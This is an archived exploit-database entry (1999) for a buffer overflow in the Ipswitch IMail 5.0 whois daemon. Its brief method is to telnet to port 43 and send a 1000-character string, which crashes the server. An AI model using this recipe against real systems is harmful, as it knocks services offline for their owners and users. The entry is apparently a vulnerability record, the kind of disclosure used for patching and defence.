Ipswitch IMail 5.0 Whois32 Daemon Buffer Overflow DoS Vulnerability

Exploit Datenbank (exploit-db.com)
CVE Datenbank (cve.mitre.org)
OSVDB Datenbank (osvdb.org)
st3n 01.03.1999 Verified
Denial of Service Exploits Multiple

Exploit Code

Code Download 
source: http://www.securityfocus.com/bid/506/info

IMail's whois server can be crashed due to an unchecked buffer. 

Telnet to target machine, port 43

Send glob1

Where glob1 is 1000 characters.